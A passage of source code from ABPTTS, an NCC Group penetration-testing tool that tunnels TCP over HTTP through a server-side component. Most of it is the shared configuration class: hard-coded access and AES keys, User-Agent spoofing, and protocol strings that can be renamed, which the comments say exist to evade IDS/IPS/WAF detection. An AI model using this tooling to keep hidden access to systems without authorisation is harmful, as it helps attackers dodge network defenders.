localAddress, localPort, destAddress, destPort)) 746 | forwarderCount += 1 747 | else: 748 | print "Could not map the input parameter '%s' to a source/destination host/port definition" % (fw) 749 | 750 | if forwarderCount == 0: 751 | outputHandler.outputMessage('Error: no valid port-forwarding definitions were specified. This utility will now exit.') 752 | else: 753 | try: 754 | while 1: 755 | time.sleep(1) 756 | except KeyboardInterrupt: 757 | outputHandler.outputMessage('Console operator terminated server') 758 | runServer = 0 759 | 760 | outputHandler.outputMessage('Server shutdown') 761 | 762 | if conf.writeToLog: 763 | outputHandler.outputMessage('Please wait - writing remaining log output buffer to disk') 764 | runLoggingThread = 0 765 | 766 | 767 | -------------------------------------------------------------------------------- /libabptts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of A Black Path Toward The Sun ("ABPTTS") 4 | 5 | # Copyright 2016 NCC Group 6 | 7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify 8 | # it under the terms of version 2 of the GNU General Public License as published by 9 | # the Free Software Foundation. 10 | 11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | 16 | # You should have received a copy of the GNU General Public License 17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt). 18 | # If not, see . 19 | 20 | # Version 1.0 21 | # Ben Lincoln, NCC Group 22 | # 2016-07-30 23 | 24 | # shared classes 25 | 26 | import base64 27 | import binascii 28 | import httplib2 29 | import inspect 30 | import math 31 | #import multiprocessing 32 | import os 33 | import random 34 | import re 35 | import sys 36 | import socket 37 | import thread 38 | #import threading 39 | import time 40 | import urllib 41 | import zipfile 42 | 43 | from Crypto.Cipher import AES 44 | from datetime import datetime, date, tzinfo, timedelta 45 | from shutil import copyfile 46 | 47 | class ABPTTSVersion: 48 | @staticmethod 49 | def GetVersionString(): 50 | return "1.0" 51 | 52 | @staticmethod 53 | def GetReleaseDateString(): 54 | return "2016-07-30" 55 | 56 | class OutputHandler: 57 | @staticmethod 58 | def outputMessage(message): 59 | dt = datetime.now().isoformat(' ') 60 | logMessage = "[%s] %s" % (dt, message) 61 | print logMessage 62 | 63 | class ABPTTSConfiguration: 64 | def __init__(self, outputHandler): 65 | self.randomizedValuePlaceholder = "%RANDOMIZE%" 66 | 67 | self.OutputHandler = outputHandler 68 | # ABPTTS authentication / encryption 69 | # 70 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER! 71 | # 72 | # HTTP request header name to use for sending the key used to access the ABPTTS 73 | # functionality instead of the dummy response page 74 | # this is lowercase because of httplib2's bad behaviour of converting all customer 75 | # request headers to lowercase. If it were uppercase here and lower on the server, 76 | # it wouldn't be detected. 77 | self.headerNameKey = "x-xsession-id" 78 | 79 | # Access key value (referred to as "header value" for historical reasons - 80 | # early versions of ABPTTS only supported sending this value in an HTTP header) 81 | self.headerValueKey = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" 82 | 83 | # Send access key as an HTTP header or a POST parameter? 84 | # A header should be slightly less likely to be logged than a POST parameter 85 | # valid values: header, postparam 86 | self.accessKeyMode = "header" 87 | 88 | # AES-128 encryption key used for ABPTTS-tunneled data (in ASCII hex format) 89 | # Leave blank to disable encryption 90 | self.encryptionKeyHex = "63688c4f211155c76f2948ba21ebaf83" 91 | 92 | # HTTP anti-detection options 93 | # 94 | # User-Agent spoofing 95 | # note: not very solid spoofing because of httplib2's annoying behaviour of 96 | # making customer header names lowercase. 97 | self.headerValueUserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" 98 | 99 | # ABPTTS protocol obfuscation 100 | # 101 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER! 102 | # 103 | # These settings define the various request/response strings used by ABPTTS 104 | # E.g. if paramNameOperation is "op" and opModeStringSendReceive is "sr", 105 | # then when making a "send/receive" request, the (unencrypted) body will 106 | # contain the string "op=sr" 107 | # 108 | # These are redefinable to prevent detection by simplistic pattern-matching 109 | # IDS/IPS/WAF-type devices. I did not want any vendor to be able to claim 110 | # they could "detect" ABPTTS just because they wrote a regex like 111 | # "op=sr&.*connection=.*data=" 112 | # 113 | # request parameter names 114 | self.paramNameAccessKey = "accesskey" 115 | self.paramNameOperation = "op" 116 | self.paramNameDestinationHost = "host" 117 | self.paramNameDestinationPort = "port" 118 | self.paramNameConnectionID = "connection" 119 | self.paramNameData = "data" 120 | self.paramNamePlaintextBlock = "plaintextblock" 121 | self.paramNameEncryptedBlock = "encryptedblock" 122 | # 123 | # separator characters to use inside of encrypted blocks, encoded as base64 124 | # These need to either be non-printable ASCII characters, or strings of sufficient 125 | # complexity that they will never appear inside the blocks they are separating. 126 | # It is extremely unlikely that they will ever be visible to an IDS/IPS/WAF-type 127 | # device. 128 | self.dataBlockNameValueSeparatorB64 = "Hw==" 129 | self.dataBlockParamSeparatorB64 = "Hg==" 130 | #dataBlockNameValueSeparator = "\x1F" 131 | #dataBlockParamSeparator = "\x1E" 132 | # 133 | # request parameter values for the Operation parameter 134 | self.opModeStringOpenConnection = "open" 135 | self.opModeStringSendReceive = "sr" 136 | self.opModeStringCloseConnection = "close" 137 | # 138 | # response codes 139 | self.responseStringHide = "OK" 140 | self.responseStringConnectionCreated = "OPENED" 141 | self.responseStringConnectionClosed = "CLOSED" 142 | self.responseStringData = "DATA" 143 | self.responseStringNoData = "NO_DATA" 144 | self.responseStringErrorGeneric = "ERROR" 145 | self.responseStringErrorInvalidRequest = "ERROR_INVALID_REQUEST" 146 | self.responseStringErrorConnectionNotFound = "ERROR_CONNECTION_NOT_FOUND" 147 | self.responseStringErrorConnectionOpenFailed = "ERROR_CONNECTION_OPEN_FAILED" 148 | self.responseStringErrorConnectionCloseFailed = "ERROR_CONNECTION_CLOSE_FAILED" 149 | self.responseStringErrorConnectionSendFailed = "ERROR_CONNECTION_SEND_FAILED" 150 | self.responseStringErrorConnectionReceiveFailed = "ERROR_CONNECTION_RECEIVE_FAILED" 151 | self.responseStringErrorDecryptFailed = "ERROR_DECRYPT_FAILED" 152 | self.responseStringErrorEncryptFailed = "ERROR_ENCRYPT_FAILED" 153 | self.responseStringErrorEncryptionNotSupported = "ERROR_ENCRYPTION_NOT_SUPPORTED" 154 | # 155 | # begin/end blocks to wrap the response in 156 | # e.g. to make the server responses look superficially more like a status page, 157 | # forum post, API response, etc. 158 | # these are base64-encoded so that virtually any type of wrapper can be created 159 | # All text in these blocks is stripped by the ABPTTS client before processing 160 | # so make sure they aren't substrings of any of the values above 161 | # 162 | self.responseStringPrefixB64 = "PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+U3lzdGVtIFN0YXR1czwvdGl0bGU+Cgk8L2hlYWQ+Cgk8Ym9keT4KPHByZT4K" 163 | self.responseStringSuffixB64 = "CjwvcHJlPgoJPC9ib2R5Pgo8L2h0bWw+" 164 | 165 | 166 | # Output control 167 | # 168 | # Log file to append output to 169 | self.logFilePath = 'ABPTTSClient-log.txt' 170 | # 171 | # Write to the log file? 172 | self.writeToLog = False 173 | # 174 | # Write to stdout? 175 | self.writeToStandardOut = True 176 | # 177 | # output raw TCP request/response data? 178 | self.echoData = False 179 | # 180 | # output raw HTTP request/response bodies? 181 | self.echoHTTPBody = False 182 | # 183 | # output assorted debugging messages? 184 | self.echoDebugMessages = False 185 | # 186 | # how frequently to provide stats regarding data I/O through the tunnel 187 | # e.g. a value of 100 will cause reporting every time the client has made 100 188 | # send/receive requests to the server. 189 | self.statsUpdateIterations = 100 190 | 191 | 192 | # Low-level network tuning - client-side settings 193 | # 194 | # maximum number of bytes to send to the server component in each send/receive operation 195 | # see the description for the corresponding serverToClientBlockSize value, later 196 | # in this file, for a detailed discussion. 197 | # This channel has less impact than that value unless a large amount of data is 198 | # being sent *to* the server, but the concept is the same. 199 | self.clientToServerBlockSize = 32768 200 | # 201 | # size of the buffer to use on the client for TCP data 202 | self.clientSocketBufferSize = 6553600 203 | # 204 | # initial socket timeout interval 205 | self.clientSocketTimeoutBase = 0.01 206 | # 207 | # If the following value is set to False, then the base timeout will be used continuously 208 | # Otherwise the timeout will be scaled up/down depending on client/server traffic 209 | # (to minimize unnecessary communication) 210 | self.autoscaleClientSocketTimeout = True 211 | #autoscaleClientSocketTimeout = False 212 | # 213 | # Variation range (as a fraction of the current timeout value) to apply to 214 | # whatever the current interval is 215 | self.clientSocketTimeoutVariation = 0.2 216 | #clientSocketTimeoutVariation = 0.0 217 | # 218 | # Multiplier (+/-) to use for autoscaling timeout interval: 219 | #clientSocketTimeoutScalingMultiplier = 0.25 220 | self.clientSocketTimeoutScalingMultiplier = 0.1 221 | # 222 | # Maximum timeout to allow the current timeout value to range to when 223 | # auto-scaling the value: 224 | self.clientSocketTimeoutMax = 1.0 225 | # 226 | # Minimum timeout to allow the current timeout value to range to when 227 | # auto-scaling: 228 | self.clientSocketTimeoutMin = 0.01 229 | # 230 | # Quasi-chunking settings 231 | # 232 | # some TCP clients (*cough*SCPonMacOS*cough*) have fragile sockets that are easily 233 | # overloaded. Sending e.g. 2MB (or even 128K, in some cases) of data all at once will 234 | # cause those clients to fail. 235 | # 236 | # Symptoms include e.g.: 237 | # - SCP clients reporting "Corrupted MAC on input. Disconnecting: Packet corrupt" 238 | # - rdesktop audio extremely stuttery, "Fooo!" on stdout 239 | # note: this will still happen to some extent (even if connecting directly 240 | # instead of over an ABPTTS tunnel) if the throughput is too low, but most 241 | # of the audio should make it through. 242 | # 243 | # These settings control the quasi-chunking mechanism I implemented to work around 244 | # this problem, where large blocks are split into smaller ones for relay to the 245 | # client. 246 | # 247 | # Most TCP client software I tested works fine without this mechanism, but I like 248 | # to default to the most reliable configuration, especially because losing a tunnel 249 | # connection during a pen test is extremely frustrating. 250 | # 251 | # Increasing the block size can measurably improve throughput if the client software 252 | # / OS is capable of handling it. 253 | # 254 | # Maximum size of data to send in each blocks to TCP clients connecting to ABPTTS 255 | # MacOS SCP* results: 256 | # 16384 success except in rare cases** 257 | # 32768 success except in rare cases** 258 | # 65536 success most of the time 259 | # 81920 success most of the time 260 | # 98304 consistent failure 261 | # 131072 consistent failure 262 | # 263 | # As reducing the value below 32768 did not appear to provide noticeably greater 264 | # reliability, this value is the default. Feel free to experiment with other values. 265 | # 266 | # * because this was by far the most finnicky TCP client I tested in terms of this 267 | # specific problem 268 | # 269 | # ** stress-testing the tunnel (three simultaneous interactive SSH sessions, each 270 | # of which was continuously looping through a "find /" command, combined with a 271 | # fourth connection to SCP a binary file) would occassionally result in a bad 272 | # transmission 273 | # 274 | # split data into blocks no larger than the following number of bytes 275 | self.clientBlockSizeLimitFromServer = 32768 276 | # 277 | # Wait time (in seconds) between blocks 278 | # Set to 0.0 to disable waiting between blocks 279 | self.clientBlockTransmitSleepTime = 0.0 280 | 281 | 282 | # Low-level network tuning - server-side settings 283 | # (for generating config file/server file packages) 284 | # 285 | # for server-side languages that do not support automatically selecting IPv4 versus IPv6 as 286 | # necessary, it can be manually specified here in the event that IPv6 should be used from 287 | # the server to other systems. 288 | # Currently this option is only used by the ASP.NET / C# server-side component. 289 | self.useIPV6ClientSocketOnServer = False 290 | # maximum number of bytes to return to the client component in each send/receive operation 291 | # this value is the option which most directly affects the latency/throughput tradeoff of 292 | # the tunnel. 293 | # For example, a relatively low value like 32768 will ensure low enough latency 294 | # even over a relatively slow connection (IE the internet) to keep e.g. MacOS 295 | # SCP happy with the connection, but the throughput will be reduced 296 | # significantly. (approximately 1/7th the throughput versus no cap on this 297 | # value). 298 | # On the other hand, while high values will result in significantly increased 299 | # throughput, the latency of the connection becomes much higher as well, 300 | # especially over a slower connection. During testing, this did not cause 301 | # issues for tunnels over a LAN, but over the internet, the delay due to 302 | # downloading the extremely large HTTP responses from the server. 303 | self.serverToClientBlockSize = 32768 304 | # 305 | # if a socket has not been used in this many iterations (of send/receive requests 306 | # in the same session), consider it abandoned and close it 307 | self.serverSocketMaxUnusedIterations = 1000 308 | # 309 | # timeout value (in milliseconds) for the server socket 310 | self.serverSocketIOTimeout = 100 311 | # 312 | # size of the send buffer (in bytes) 313 | self.serverSocketSendBufferSize = 6553600 314 | # 315 | # size of the receive buffer (in bytes) 316 | self.serverSocketReceiveBufferSize = 6553600 317 | 318 | 319 | # File-generation settings (for the factory script) 320 | # 321 | # short name to use for the application 322 | # e.g. if this value is FancyServerStatus, then server-side files will be 323 | # named things like FancyServerStatus.jsp, URL-mappings will be things like 324 | # /FancyServerStatus/, etc. 325 | self.fileGenerationAppNameShort = "abptts" 326 | 327 | def GetConfigFileData(self, resultHashtable, configFilePath, warnOnOverride): 328 | lines = "" 329 | try: 330 | f = open(configFilePath, 'rb') 331 | lines = f.read() 332 | f.close() 333 | except Exception as e: 334 | self.OutputHandler.outputMessage("Error: could not read the configuration file '%s': %s" % (configFilePath, e)) 335 | fileLines = lines.splitlines() 336 | for l in fileLines: 337 | # strip comments 338 | l2 = re.sub("#.+", "", l).strip() 339 | #if self.echoDebugMessages: 340 | # self.OutputHandler.outputMessage("Debug: '%s' => '%s'" % (l, l2)) 341 | if l2 != "": 342 | lineSplit = l2.split(":::::::") 343 | if len(lineSplit) > 1: 344 | paramName = lineSplit[0] 345 | paramValue = lineSplit[1] 346 | if paramName in resultHashtable: 347 | existingParamValue = resultHashtable[paramName] 348 | if warnOnOverride: 349 | if existingParamValue != paramValue: 350 | self.OutputHandler.outputMessage("Warning: parameter '%s' already exists in the hashtable with value '%s', and will be overridden by the value '%s' which is defined later in the same file or a later file." % (paramName, existingParamValue, paramValue)) 351 | resultHashtable[paramName] = paramValue 352 | 353 | if self.echoDebugMessages: 354 | self.OutputHandler.outputMessage("Set parameter hashtable value '%s' to '%s'" % (paramName, paramValue)) 355 | return resultHashtable 356 | 357 | @staticmethod 358 | def ParseBool(boolString): 359 | bsl = boolString.lower() 360 | if bsl == "true": 361 | return True 362 | if bsl == "yes": 363 | return True 364 | if bsl == "y": 365 | return True 366 | if bsl == "1": 367 | return True 368 | return False 369 | 370 | def GetParametersFromHashtable(self, parameterHashtable): 371 | if "headerNameKey" in parameterHashtable: 372 | self.headerNameKey = parameterHashtable["headerNameKey"] 373 | if "headerValueKey" in parameterHashtable: 374 | self.headerValueKey = parameterHashtable["headerValueKey"] 375 | if "encryptionKeyHex" in parameterHashtable: 376 | self.encryptionKeyHex = parameterHashtable["encryptionKeyHex"] 377 | if "headerValueUserAgent" in parameterHashtable: 378 | self.headerValueUserAgent = parameterHashtable["headerValueUserAgent"] 379 | if "accessKeyMode" in parameterHashtable: 380 | self.accessKeyMode = parameterHashtable["accessKeyMode"] 381 | if "paramNameAccessKey" in parameterHashtable: 382 | self.paramNameAccessKey = parameterHashtable["paramNameAccessKey"] 383 | if "paramNameOperation" in parameterHashtable: 384 | self.paramNameOperation = parameterHashtable["paramNameOperation"] 385 | if "paramNameDestinationHost" in parameterHashtable: 386 | self.paramNameDestinationHost = parameterHashtable["paramNameDestinationHost"] 387 | if "paramNameDestinationPort" in parameterHashtable: 388 | self.paramNameDestinationPort = parameterHashtable["paramNameDestinationPort"] 389 | if "paramNameConnectionID" in parameterHashtable: 390 | self.paramNameConnectionID = parameterHashtable["paramNameConnectionID"] 391 | if "paramNameData" in parameterHashtable: 392 | self.paramNameData = parameterHashtable["paramNameData"] 393 | if "paramNamePlaintextBlock" in parameterHashtable: 394 | self.paramNamePlaintextBlock = parameterHashtable["paramNamePlaintextBlock"] 395 | if "paramNameEncryptedBlock" in parameterHashtable: 396 | self.paramNameEncryptedBlock = parameterHashtable["paramNameEncryptedBlock"] 397 | if "dataBlockNameValueSeparatorB64" in parameterHashtable: 398 | self.dataBlockNameValueSeparatorB64 = parameterHashtable["dataBlockNameValueSeparatorB64"] 399 | if "dataBlockParamSeparatorB64" in parameterHashtable: 400 | self.dataBlockParamSeparatorB64 = parameterHashtable["dataBlockParamSeparatorB64"] 401 | if "opModeStringOpenConnection" in parameterHashtable: 402 | self.opModeStringOpenConnection = parameterHashtable["opModeStringOpenConnection"] 403 | if "opModeStringSendReceive" in parameterHashtable: 404 | self.opModeStringSendReceive = parameterHashtable["opModeStringSendReceive"] 405 | if "opModeStringCloseConnection" in parameterHashtable: 406 | self.opModeStringCloseConnection = parameterHashtable["opModeStringCloseConnection"] 407 | if "responseStringHide" in parameterHashtable: 408 | self.responseStringHide = parameterHashtable["responseStringHide"] 409 | if "responseStringConnectionCreated" in parameterHashtable: 410 | self.responseStringConnectionCreated = parameterHashtable["responseStringConnectionCreated"] 411 | if "responseStringConnectionClosed" in parameterHashtable: 412 | self.responseStringConnectionClosed = parameterHashtable["responseStringConnectionClosed"] 413 | if "responseStringData" in parameterHashtable: 414 | self.responseStringData = parameterHashtable["responseStringData"] 415 | if "responseStringNoData" in parameterHashtable: 416 | self.responseStringNoData = parameterHashtable["responseStringNoData"] 417 | if "responseStringErrorGeneric" in parameterHashtable: 418 | self.responseStringErrorGeneric = parameterHashtable["responseStringErrorGeneric"] 419 | if "responseStringErrorInvalidRequest" in parameterHashtable: 420 | self.responseStringErrorInvalidRequest = parameterHashtable["responseStringErrorInvalidRequest"] 421 | if "responseStringErrorConnectionNotFound" in parameterHashtable: 422 | self.responseStringErrorConnectionNotFound = parameterHashtable["responseStringErrorConnectionNotFound"] 423 | if "responseStringErrorConnectionOpenFailed" in parameterHashtable: 424 | self.responseStringErrorConnectionOpenFailed = parameterHashtable["responseStringErrorConnectionOpenFailed"] 425 | if "responseStringErrorConnectionCloseFailed" in parameterHashtable: 426 | self.responseStringErrorConnectionCloseFailed = parameterHashtable["responseStringErrorConnectionCloseFailed"] 427 | if "responseStringErrorConnectionSendFailed" in parameterHashtable: 428 | self.responseStringErrorConnectionSendFailed = parameterHashtable["responseStringErrorConnectionSendFailed"] 429 | if "responseStringErrorConnectionReceiveFailed" in parameterHashtable: 430 | self.responseStringErrorConnectionReceiveFailed = parameterHashtable["responseStringErrorConnectionReceiveFailed"] 431 | if "responseStringErrorDecryptFailed" in parameterHashtable: 432 | self.responseStringErrorDecryptFailed = parameterHashtable["responseStringErrorDecryptFailed"] 433 | if "responseStringErrorEncryptFailed" in parameterHashtable: 434 | self.responseStringErrorEncryptFailed = parameterHashtable["responseStringErrorEncryptFailed"] 435 | if "responseStringErrorEncryptionNotSupported" in parameterHashtable: 436 | self.responseStringErrorEncryptionNotSupported = parameterHashtable["responseStringErrorEncryptionNotSupported"] 437 | if "responseStringPrefixB64" in parameterHashtable: 438 | self.responseStringPrefixB64 = parameterHashtable["responseStringPrefixB64"] 439 | if "responseStringSuffixB64" in parameterHashtable: 440 | self.responseStringSuffixB64 = parameterHashtable["responseStringSuffixB64"] 441 | if "logFilePath" in parameterHashtable: 442 | self.logFilePath = parameterHashtable["logFilePath"] 443 | if "fileGenerationAppNameShort" in parameterHashtable: 444 | self.fileGenerationAppNameShort = parameterHashtable["fileGenerationAppNameShort"] 445 | if "writeToLog" in parameterHashtable: 446 | tv = parameterHashtable["writeToLog"] 447 | try: 448 | self.writeToLog = self.ParseBool(tv) 449 | except: 450 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 451 | if "writeToStandardOut" in parameterHashtable: 452 | tv = parameterHashtable["writeToStandardOut"] 453 | try: 454 | self.writeToStandardOut = self.ParseBool(tv) 455 | except: 456 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 457 | if "echoData" in parameterHashtable: 458 | tv = parameterHashtable["echoData"] 459 | try: 460 | self.echoData = self.ParseBool(tv) 461 | except: 462 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 463 | if "echoHTTPBody" in parameterHashtable: 464 | tv = parameterHashtable["echoHTTPBody"] 465 | try: 466 | self.echoHTTPBody = self.ParseBool(tv) 467 | except: 468 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 469 | if "echoDebugMessages" in parameterHashtable: 470 | tv = parameterHashtable["echoDebugMessages"] 471 | try: 472 | self.echoDebugMessages = self.ParseBool(tv) 473 | except: 474 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 475 | if "autoscaleClientSocketTimeout" in parameterHashtable: 476 | tv = parameterHashtable["autoscaleClientSocketTimeout"] 477 | try: 478 | self.autoscaleClientSocketTimeout = self.ParseBool(tv) 479 | except: 480 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 481 | if "useIPV6ClientSocketOnServer" in parameterHashtable: 482 | tv = parameterHashtable["useIPV6ClientSocketOnServer"] 483 | try: 484 | self.useIPV6ClientSocketOnServer = self.ParseBool(tv) 485 | except: 486 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv)) 487 | if "statsUpdateIterations" in parameterHashtable: 488 | tv = parameterHashtable["statsUpdateIterations"] 489 | try: 490 | self.statsUpdateIterations = int(tv) 491 | except: 492 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 493 | if "clientToServerBlockSize" in parameterHashtable: 494 | tv = parameterHashtable["clientToServerBlockSize"] 495 | try: 496 | self.clientToServerBlockSize = int(tv) 497 | except: 498 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 499 | if "clientSocketBufferSize" in parameterHashtable: 500 | tv = parameterHashtable["clientSocketBufferSize"] 501 | try: 502 | self.clientSocketBufferSize = int(tv) 503 | except: 504 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 505 | if "clientBlockSizeLimitFromServer" in parameterHashtable: 506 | tv = parameterHashtable["clientBlockSizeLimitFromServer"] 507 | try: 508 | self.clientBlockSizeLimitFromServer = int(tv) 509 | except: 510 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 511 | if "serverToClientBlockSize" in parameterHashtable: 512 | tv = parameterHashtable["serverToClientBlockSize"] 513 | try: 514 | self.serverToClientBlockSize = int(tv) 515 | except: 516 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 517 | if "serverSocketMaxUnusedIterations" in parameterHashtable: 518 | tv = parameterHashtable["serverSocketMaxUnusedIterations"] 519 | try: 520 | self.serverSocketMaxUnusedIterations = int(tv) 521 | except: 522 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 523 | if "serverSocketIOTimeout" in parameterHashtable: 524 | tv = parameterHashtable["serverSocketIOTimeout"] 525 | try: 526 | self.serverSocketIOTimeout = int(tv) 527 | except: 528 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 529 | if "serverSocketSendBufferSize" in parameterHashtable: 530 | tv = parameterHashtable["serverSocketSendBufferSize"] 531 | try: 532 | serverSocketSendBufferSize = int(tv) 533 | except: 534 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 535 | if "serverSocketReceiveBufferSize" in parameterHashtable: 536 | tv = parameterHashtable["serverSocketReceiveBufferSize"] 537 | try: 538 | self.serverSocketReceiveBufferSize = int(tv) 539 | except: 540 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv)) 541 | if "clientSocketTimeoutBase" in parameterHashtable: 542 | tv = parameterHashtable["clientSocketTimeoutBase"] 543 | try: 544 | self.clientSocketTimeoutBase = float(tv) 545 | except: 546 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 547 | if "clientSocketTimeoutVariation" in parameterHashtable: 548 | tv = parameterHashtable["clientSocketTimeoutVariation"] 549 | try: 550 | self.clientSocketTimeoutVariation = float(tv) 551 | except: 552 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 553 | if "clientSocketTimeoutScalingMultiplier" in parameterHashtable: 554 | tv = parameterHashtable["clientSocketTimeoutScalingMultiplier"] 555 | try: 556 | self.clientSocketTimeoutScalingMultiplier = float(tv) 557 | except: 558 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 559 | if "clientSocketTimeoutMax" in parameterHashtable: 560 | tv = parameterHashtable["clientSocketTimeoutMax"] 561 | try: 562 | self.clientSocketTimeoutMax = float(tv) 563 | except: 564 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 565 | if "clientSocketTimeoutMin" in parameterHashtable: 566 | tv = parameterHashtable["clientSocketTimeoutMin"] 567 | try: 568 | self.clientSocketTimeoutMin = float(tv) 569 | except: 570 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 571 | if "clientBlockTransmitSleepTime" in parameterHashtable: 572 | tv = parameterHashtable["clientBlockTransmitSleepTime"] 573 | try: 574 | self.clientBlockTransmitSleepTime = float(tv) 575 | except: 576 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv)) 577 | 578 | @staticmethod 579 | def WriteIfPresent(parameterHashtable, file, parameterName, parameterValue, formatString): 580 | if parameterName in parameterHashtable: 581 | s1 = '%s:::::::%s' % (parameterName, formatString) 582 | file.write(s1 % (parameterValue)) 583 | file.write(os.linesep) 584 | 585 | def ReplaceIfRandomizationPlaceholder(self, parameterHashtable, parameterName, currentParameterValue, newParameterValue): 586 | if parameterName in parameterHashtable: 587 | if parameterHashtable[parameterName] == self.randomizedValuePlaceholder: 588 | return newParameterValue 589 | return currentParameterValue 590 | 591 | @staticmethod 592 | def MakeDir(newDir, outputHandler): 593 | try: 594 | os.mkdir(newDir) 595 | return True 596 | except Exception as e: 597 | outputHandler.outputMessage('Error: could not create a directory named "%s" - %s' % (newDir, e)) 598 | return False 599 | 600 | @staticmethod 601 | def CopyFile(source, destination, outputHandler): 602 | try: 603 | copyfile(source, destination) 604 | return True 605 | except Exception as e: 606 | outputHandler.outputMessage('Error copying "%s" to "%s" - %s' % (source, destination, e)) 607 | return False 608 | 609 | @staticmethod 610 | def ZipDir(sourceDirectory, outputFilePath, outputHandler): 611 | currentDir = os.getcwd() 612 | try: 613 | os.chdir(sourceDirectory) 614 | #relroot = os.path.abspath(os.path.join(sourceDirectory, os.pardir)) 615 | relroot = os.path.abspath(os.path.join(sourceDirectory)) 616 | #with zipfile.ZipFile(outputFilePath, "w", zipfile.ZIP_DEFLATED) as zip: 617 | with zipfile.ZipFile(outputFilePath, "w") as zip: 618 | for root, dirs, files in os.walk(sourceDirectory): 619 | # add directory (needed for empty dirs) 620 | # this is commented out because Tomcat 8 will reject WAR files with "./" in them. 621 | #zip.write(root, os.path.relpath(root, relroot)) 622 | for file in files: 623 | filename = os.path.join(root, file) 624 | if os.path.isfile(filename): # regular files only 625 | arcname = os.path.join(os.path.relpath(root, relroot), file) 626 | zip.write(filename, arcname) 627 | return True 628 | except Exception as e: 629 | outputHandler.outputMessage('Error creating zip file "%s" from directory "%s" - %s' % (outputFilePath, sourceDirectory, e)) 630 | return False 631 | os.chdir(currentDir) 632 | 633 | 634 | def WriteParametersBasedOnHashtable(self, parameterHashtable, outputFilePath): 635 | try: 636 | f = open(outputFilePath, 'wb') 637 | self.WriteIfPresent(parameterHashtable, f, 'headerNameKey', self.headerNameKey, '%s') 638 | self.WriteIfPresent(parameterHashtable, f, 'headerValueKey', self.headerValueKey, '%s') 639 | self.WriteIfPresent(parameterHashtable, f, 'encryptionKeyHex', self.encryptionKeyHex, '%s') 640 | self.WriteIfPresent(parameterHashtable, f, 'headerValueUserAgent', self.headerValueUserAgent, '%s') 641 | self.WriteIfPresent(parameterHashtable, f, 'accessKeyMode', self.accessKeyMode, '%s') 642 | self.WriteIfPresent(parameterHashtable, f, 'paramNameAccessKey', self.paramNameAccessKey, '%s') 643 | self.WriteIfPresent(parameterHashtable, f, 'paramNameOperation', self.paramNameOperation, '%s') 644 | self.WriteIfPresent(parameterHashtable, f, 'paramNameDestinationHost', self.paramNameDestinationHost, '%s') 645 | self.WriteIfPresent(parameterHashtable, f, 'paramNameDestinationPort', self.paramNameDestinationPort, '%s') 646 | self.WriteIfPresent(parameterHashtable, f, 'paramNameConnectionID', self.paramNameConnectionID, '%s') 647 | self.WriteIfPresent(parameterHashtable, f, 'paramNameData', self.paramNameData, '%s') 648 | self.WriteIfPresent(parameterHashtable, f, 'paramNamePlaintextBlock', self.paramNamePlaintextBlock, '%s') 649 | self.WriteIfPresent(parameterHashtable, f, 'paramNameEncryptedBlock', self.paramNameEncryptedBlock, '%s') 650 | self.WriteIfPresent(parameterHashtable, f, 'dataBlockNameValueSeparatorB64', self.dataBlockNameValueSeparatorB64, '%s') 651 | self.WriteIfPresent(parameterHashtable, f, 'dataBlockParamSeparatorB64', self.dataBlockParamSeparatorB64, '%s') 652 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringOpenConnection', self.opModeStringOpenConnection, '%s') 653 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringSendReceive', self.opModeStringSendReceive, '%s') 654 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringCloseConnection', self.opModeStringCloseConnection, '%s') 655 | self.WriteIfPresent(parameterHashtable, f, 'responseStringHide', self.responseStringHide, '%s') 656 | self.WriteIfPresent(parameterHashtable, f, 'responseStringConnectionCreated', self.responseStringConnectionCreated, '%s') 657 | self.WriteIfPresent(parameterHashtable, f, 'responseStringConnectionClosed', self.responseStringConnectionClosed, '%s') 658 | self.WriteIfPresent(parameterHashtable, f, 'responseStringData', self.responseStringData, '%s') 659 | self.WriteIfPresent(parameterHashtable, f, 'responseStringNoData', self.responseStringNoData, '%s') 660 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorGeneric', self.responseStringErrorGeneric, '%s') 661 | 